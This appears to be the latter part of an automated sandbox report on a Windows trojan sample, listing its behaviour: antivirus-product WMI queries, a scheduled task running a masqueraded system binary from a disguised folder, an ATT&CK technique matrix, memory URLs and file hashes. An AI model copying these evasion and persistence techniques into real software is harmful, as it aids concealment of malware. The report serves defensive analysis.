Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe

Code function: 23_2_00007FF684C84A40 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

23_2_00007FF684C84A40

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	321 Windows Management Instrumentation	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Modify Registry	LSASS Memory	341 Security Software Discovery	Remote Desktop Protocol	3 Clipboard Data	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	12 Virtualization/Sandbox Evasion	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Image File Execution Options Injection	1 Registry Run Keys / Startup Folder	11 Disable or Modify Tools	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	12 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Image File Execution Options Injection	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	21%	ReversingLabs	Win64.Trojan.GiantCerbu

Name	Source	Malicious	Reputation
https://gameplayapi.intel.com/api/games/getagsgames2/P	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgamesettings2/B	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.pngXzy	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://go.microsoft.co	powershell.exe, 0000000C.00000002.1967642062.000002139A4FC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgames2/H	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.microsoft.co	powershell.exe, 0000000C.00000002.1967642062.000002139A4FC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/u	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/downloadthumbnail/.dllY	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/Q	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.microsoft.c	powershell.exe, 0000000C.00000002.1967236251.000002139A336000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/R	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgames2/y	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgamesettings2/	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXzy	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgames2/y	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C6000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://cacerts.digicK	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1683814431.00000245B10D9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/PesterXzy	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/B	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgamesettings2/j	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/Z	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000C.00000002.1942235658.00000213823FA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.1959923759.0000021392240000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/downloadthumbnail/	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgames2/	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 0000000C.00000002.1942235658.00000213821D1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgames2/Z	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12E1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F8000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC2F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.1942235658.00000213821D1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/R	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/getagsgamesettings2/	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://assets.msn.com/weathermapdata/1/static/news/BreakingNews_72x72.svg	SgrmBroker.exe, 00000018.00000003.2404141053.00000236ACC5F000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2437747374.00000236ACCAD000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgames2/	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gameplayapi.intel.com/api/games/getagsgames2/Y	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1729098920.00000245B11F1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1728213124.00000245B11E6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1672507572.00000245B12C0000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2436170805.00000236ACC28000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACDFE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tst-gameplayapi.intel.com/api/games/downloadthumbnail/	SgrmBroker.exe, 00000018.00000003.2407016314.00000236ACE05000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543318
Start date and time:	2024-10-27 17:11:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@27/6@0/0
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 65% Number of executed functions: 38 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.51.58.94
Excluded domains from analysis (whitelisted): fs.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, c.pki.goog, nexusrules.officeapps.live.com
Execution Graph export aborted for target SppExtComObj.exe, PID 6848 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2172 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Simulations

Behavior and APIs

Time	Type	Description
12:14:59	API Interceptor	13x Sleep call for process: powershell.exe modified
17:15:54	Task Scheduler	Run new task: TMPSYSUPD path: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulgkLZ:NllU
MD5:	C1AA1D28144A13E317F3F4D85AC26B7D
SHA1:	2ADF74F16F1031DA80E1E096946EB8872F716876
SHA-256:	EB50A98ECA168B1B64C7DB0C33AE77B83B84F492032BD1BCB26AFE571DBE2839
SHA-512:	B92300874DD39C4304C852D59177D0E33A3A39D6ABB8DE5C86E9A2EC46268BC9E4AFD2BF3F1441D37F97E217EA296556EF2F9F62B346D0DDBF2EA9DB978B4CBE
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqoksxub.1dq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3fmbao4.pbp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgvcra1t.np0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urbrehpo.yuf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	706740224
Entropy (8bit):	0.5513533060255377
Encrypted:	false
SSDEEP:
MD5:	43D7DA08F086122E16773B9002C05B1F
SHA1:	484CD5B23793F8CD32874CC4E9291D4466A78CA4
SHA-256:	55BC346754E52732D87752988BD73731AD5B5FC757D07F42721AE28A0D45A669
